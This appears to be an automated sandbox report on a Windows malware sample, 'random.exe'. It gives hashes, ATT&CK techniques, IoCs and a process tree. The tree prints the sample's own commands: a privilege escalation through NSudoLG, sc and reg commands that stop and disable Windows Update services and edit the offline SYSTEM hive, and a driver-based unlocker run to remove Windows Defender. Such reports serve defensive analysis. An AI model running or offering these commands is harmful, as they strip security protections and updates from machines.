5e94bae52aba4ddf0317b7ed88865df4b0c446c4ff3c40a8f971104d59ef57d2

Analysis

max time kernel
105s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20250610-en
resource tags

arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system
submitted
05/08/2025, 07:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
random.exe
Size 2.1MB
Sample250805-h6datasms9
SHA256 5e94bae52aba4ddf0317b7ed88865df4b0c446c4ff3c40a8f971104d59ef57d2
MD5 0cd999b98e4eac711a4f348cc0b35ceb
SHA1 d91c2c4fa9dd78dc86913a2b8d3a72b7a041ebf3
SHA512 6a37901edbfb3e13024533be696a54ca18d86a1be6142cbf037b64a3c4b9777a4f97cdf6d2e4bb0575967bcc96187b997be16b5d50652accfbe68aed7cc36537
SSDEEP 49152:IBJlTpc8iYMUCYcY2NcZYJS+d1VP/S+Yn9WRGsX7Ib/mlk:yXTFMUbcH6Gfd1pUn9WRGXb/n
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Sets service image path in registry 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	Unlocker.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	Unlocker.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-815616237-4012932787-4224613991-1000\Control Panel\International\Geo\Nation	random.exe
Key value queried	\REGISTRY\USER\S-1-5-21-815616237-4012932787-4224613991-1000\Control Panel\International\Geo\Nation	Unlocker.exe
Key value queried	\REGISTRY\USER\S-1-5-21-815616237-4012932787-4224613991-1000\Control Panel\International\Geo\Nation	Unlocker.exe
Key value queried	\REGISTRY\USER\S-1-5-21-815616237-4012932787-4224613991-1000\Control Panel\International\Geo\Nation	Unlocker.exe

Executes dropped EXE 18 IoCs

pid	Process
4148	nircmd.exe
1000	NSudoLG.exe
1260	7z.exe
4948	Unlocker.exe
1472	Unlocker.exe
5852	Unlocker.exe
4128	IObitUnlocker.exe
4788	IObitUnlocker.exe
1908	IObitUnlocker.exe
5284	IObitUnlocker.exe
3948	IObitUnlocker.exe
1800	IObitUnlocker.exe
3496	IObitUnlocker.exe
5984	IObitUnlocker.exe
3568	IObitUnlocker.exe
4036	IObitUnlocker.exe
1560	IObitUnlocker.exe
5636	IObitUnlocker.exe

Loads dropped DLL 12 IoCs

pid	Process
4128	IObitUnlocker.exe
4788	IObitUnlocker.exe
1908	IObitUnlocker.exe
5284	IObitUnlocker.exe
3948	IObitUnlocker.exe
1800	IObitUnlocker.exe
3496	IObitUnlocker.exe
5984	IObitUnlocker.exe
3568	IObitUnlocker.exe
4036	IObitUnlocker.exe
1560	IObitUnlocker.exe
5636	IObitUnlocker.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4676	tasklist.exe

Launches sc.exe 17 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1068	sc.exe
3440	sc.exe
5096	sc.exe
532	sc.exe
5040	sc.exe
3384	sc.exe
2336	sc.exe
4132	sc.exe
3688	sc.exe
772	sc.exe
1624	sc.exe
940	sc.exe
4140	sc.exe
4100	sc.exe
4896	sc.exe
376	sc.exe
5292	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mode.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
4024	taskkill.exe
4340	taskkill.exe
2088	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize\AppsUseLightTheme = "0"	reg.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4956	reg.exe

Suspicious behavior: EnumeratesProcesses 50 IoCs

pid	Process
1000	NSudoLG.exe
1000	NSudoLG.exe
4128	IObitUnlocker.exe
4128	IObitUnlocker.exe
4128	IObitUnlocker.exe
4128	IObitUnlocker.exe
4788	IObitUnlocker.exe
4788	IObitUnlocker.exe
4788	IObitUnlocker.exe
4788	IObitUnlocker.exe
1908	IObitUnlocker.exe
1908	IObitUnlocker.exe
1908	IObitUnlocker.exe
1908	IObitUnlocker.exe
5284	IObitUnlocker.exe
5284	IObitUnlocker.exe
5284	IObitUnlocker.exe
5284	IObitUnlocker.exe
3948	IObitUnlocker.exe
3948	IObitUnlocker.exe
3948	IObitUnlocker.exe
3948	IObitUnlocker.exe
1800	IObitUnlocker.exe
1800	IObitUnlocker.exe
1800	IObitUnlocker.exe
1800	IObitUnlocker.exe
3496	IObitUnlocker.exe
3496	IObitUnlocker.exe
3496	IObitUnlocker.exe
3496	IObitUnlocker.exe
5984	IObitUnlocker.exe
5984	IObitUnlocker.exe
5984	IObitUnlocker.exe
5984	IObitUnlocker.exe
3568	IObitUnlocker.exe
3568	IObitUnlocker.exe
3568	IObitUnlocker.exe
3568	IObitUnlocker.exe
4036	IObitUnlocker.exe
4036	IObitUnlocker.exe
4036	IObitUnlocker.exe
4036	IObitUnlocker.exe
1560	IObitUnlocker.exe
1560	IObitUnlocker.exe
1560	IObitUnlocker.exe
1560	IObitUnlocker.exe
5636	IObitUnlocker.exe
5636	IObitUnlocker.exe
5636	IObitUnlocker.exe
5636	IObitUnlocker.exe

Suspicious behavior: LoadsDriver 24 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1000	NSudoLG.exe
Token: SeDebugPrivilege	4676	tasklist.exe
Token: SeRestorePrivilege	1260	7z.exe
Token: 35	1260	7z.exe
Token: SeSecurityPrivilege	1260	7z.exe
Token: SeSecurityPrivilege	1260	7z.exe
Token: SeDebugPrivilege	2088	taskkill.exe
Token: SeRestorePrivilege	860	reg.exe
Token: SeRestorePrivilege	1072	reg.exe
Token: SeLoadDriverPrivilege	1472	Unlocker.exe
Token: SeDebugPrivilege	4024	taskkill.exe
Token: SeLoadDriverPrivilege	5852	Unlocker.exe
Token: SeDebugPrivilege	4340	taskkill.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4128	IObitUnlocker.exe
4788	IObitUnlocker.exe
1908	IObitUnlocker.exe
5284	IObitUnlocker.exe
3948	IObitUnlocker.exe
1800	IObitUnlocker.exe
3496	IObitUnlocker.exe
5984	IObitUnlocker.exe
3568	IObitUnlocker.exe
4036	IObitUnlocker.exe
1560	IObitUnlocker.exe
5636	IObitUnlocker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1608 wrote to memory of 5464	1608	random.exe	84
PID 1608 wrote to memory of 5464	1608	random.exe	84
PID 1608 wrote to memory of 5464	1608	random.exe	84
PID 5464 wrote to memory of 4148	5464	cmd.exe	87
PID 5464 wrote to memory of 4148	5464	cmd.exe	87
PID 5464 wrote to memory of 3176	5464	cmd.exe	88
PID 5464 wrote to memory of 3176	5464	cmd.exe	88
PID 5464 wrote to memory of 3176	5464	cmd.exe	88
PID 5464 wrote to memory of 3148	5464	cmd.exe	89
PID 5464 wrote to memory of 3148	5464	cmd.exe	89
PID 5464 wrote to memory of 3148	5464	cmd.exe	89
PID 5464 wrote to memory of 1580	5464	cmd.exe	90
PID 5464 wrote to memory of 1580	5464	cmd.exe	90
PID 5464 wrote to memory of 1580	5464	cmd.exe	90
PID 5464 wrote to memory of 1000	5464	cmd.exe	91
PID 5464 wrote to memory of 1000	5464	cmd.exe	91
PID 5464 wrote to memory of 708	5464	cmd.exe	96
PID 5464 wrote to memory of 708	5464	cmd.exe	96
PID 5464 wrote to memory of 708	5464	cmd.exe	96
PID 5464 wrote to memory of 5560	5464	cmd.exe	97
PID 5464 wrote to memory of 5560	5464	cmd.exe	97
PID 5464 wrote to memory of 5560	5464	cmd.exe	97
PID 5464 wrote to memory of 5252	5464	cmd.exe	98
PID 5464 wrote to memory of 5252	5464	cmd.exe	98
PID 5464 wrote to memory of 5252	5464	cmd.exe	98
PID 5464 wrote to memory of 5496	5464	cmd.exe	99
PID 5464 wrote to memory of 5496	5464	cmd.exe	99
PID 5464 wrote to memory of 5496	5464	cmd.exe	99
PID 5464 wrote to memory of 3500	5464	cmd.exe	100
PID 5464 wrote to memory of 3500	5464	cmd.exe	100
PID 5464 wrote to memory of 3500	5464	cmd.exe	100
PID 3500 wrote to memory of 4676	3500	cmd.exe	101
PID 3500 wrote to memory of 4676	3500	cmd.exe	101
PID 3500 wrote to memory of 4676	3500	cmd.exe	101
PID 5464 wrote to memory of 4636	5464	cmd.exe	102
PID 5464 wrote to memory of 4636	5464	cmd.exe	102
PID 5464 wrote to memory of 4636	5464	cmd.exe	102
PID 5464 wrote to memory of 4696	5464	cmd.exe	103
PID 5464 wrote to memory of 4696	5464	cmd.exe	103
PID 5464 wrote to memory of 4696	5464	cmd.exe	103
PID 5464 wrote to memory of 4764	5464	cmd.exe	104
PID 5464 wrote to memory of 4764	5464	cmd.exe	104
PID 5464 wrote to memory of 4764	5464	cmd.exe	104
PID 5464 wrote to memory of 4784	5464	cmd.exe	105
PID 5464 wrote to memory of 4784	5464	cmd.exe	105
PID 5464 wrote to memory of 4784	5464	cmd.exe	105
PID 5464 wrote to memory of 4812	5464	cmd.exe	106
PID 5464 wrote to memory of 4812	5464	cmd.exe	106
PID 5464 wrote to memory of 4812	5464	cmd.exe	106
PID 5464 wrote to memory of 4820	5464	cmd.exe	107
PID 5464 wrote to memory of 4820	5464	cmd.exe	107
PID 5464 wrote to memory of 4820	5464	cmd.exe	107
PID 5464 wrote to memory of 4868	5464	cmd.exe	108
PID 5464 wrote to memory of 4868	5464	cmd.exe	108
PID 5464 wrote to memory of 4868	5464	cmd.exe	108
PID 5464 wrote to memory of 4888	5464	cmd.exe	109
PID 5464 wrote to memory of 4888	5464	cmd.exe	109
PID 5464 wrote to memory of 4888	5464	cmd.exe	109
PID 5464 wrote to memory of 4884	5464	cmd.exe	110
PID 5464 wrote to memory of 4884	5464	cmd.exe	110
PID 5464 wrote to memory of 4884	5464	cmd.exe	110
PID 5464 wrote to memory of 4752	5464	cmd.exe	111
PID 5464 wrote to memory of 4752	5464	cmd.exe	111
PID 5464 wrote to memory of 4752	5464	cmd.exe	111

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1608
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Vj5L2BN.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5464
- - C:\Users\Admin\AppData\Local\Temp\Work\nircmd.exe
    nircmd win min process "cmd.exe"
    3⤵
    - Executes dropped EXE
    PID:4148
- - C:\Windows\SysWOW64\chcp.com
    chcp 65001
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3176
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKU\S-1-5-19"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3148
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:1580
- - C:\Users\Admin\AppData\Local\Temp\Work\NSudoLG.exe
    NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\Vj5L2BN.bat" any_word
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1000
- - C:\Windows\SysWOW64\mode.com
    Mode 79,49
    3⤵
    - System Location Discovery: System Language Discovery
    PID:708
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ver
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5560
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5252
- - C:\Windows\SysWOW64\find.exe
    find /i "0x0"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5496
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3500
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4676
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4636
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4696
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4764
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\Sense"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4784
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4812
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4820
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4868
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4888
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4884
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4752
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4828
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5360
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4452
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:940
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1476
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4964
- - C:\Windows\SysWOW64\reg.exe
    reg query HKLM\System\CurrentControlset\Services\WdFilter
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4956
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4972
- - C:\Windows\SysWOW64\find.exe
    find /i "Windows 7"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5084
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ver "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3552
- - C:\Windows\SysWOW64\findstr.exe
    findstr /c:"6.1.7601"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:696
- - C:\Users\Admin\AppData\Local\Temp\Work\7z.exe
    7z x -aoa -bso0 -bsp1 "DKT.zip" -p"DDK" "Unlocker.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1260
- - C:\Users\Admin\AppData\Local\Temp\Work\Unlocker.exe
    Unlocker /CurrentDiskSize
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:4948
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      PID:5000
    - - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:5040
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4948"
      4⤵
      PID:2344
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "4948"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2088
- - C:\Windows\SysWOW64\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3384
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2336
- - C:\Windows\SysWOW64\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4132
- - C:\Windows\SysWOW64\sc.exe
    sc config dosvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4140
- - C:\Windows\SysWOW64\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4100
- - C:\Windows\SysWOW64\sc.exe
    sc config bits start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4896
- - C:\Windows\SysWOW64\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3688
- - C:\Windows\SysWOW64\sc.exe
    sc config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1068
- - C:\Windows\SysWOW64\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:772
- - C:\Windows\SysWOW64\sc.exe
    sc config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:376
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:960
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:804
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5884
- - C:\Windows\SysWOW64\reg.exe
    reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:860
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3900
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1492
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3048
- - C:\Windows\SysWOW64\reg.exe
    reg unload HKLM\TEMP_SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1072
- - C:\Users\Admin\AppData\Local\Temp\Work\Unlocker.exe
    Unlocker /delwd
    3⤵
    - Sets service image path in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1472
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      PID:5552
    - - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:3440
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
      4⤵
      PID:6120
    - - C:\Windows\system32\sc.exe
        
        sc stop IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:5096
    - - C:\Windows\system32\sc.exe
        
        sc delete IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:532
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "1472"
      4⤵
      PID:2060
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "1472"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4024
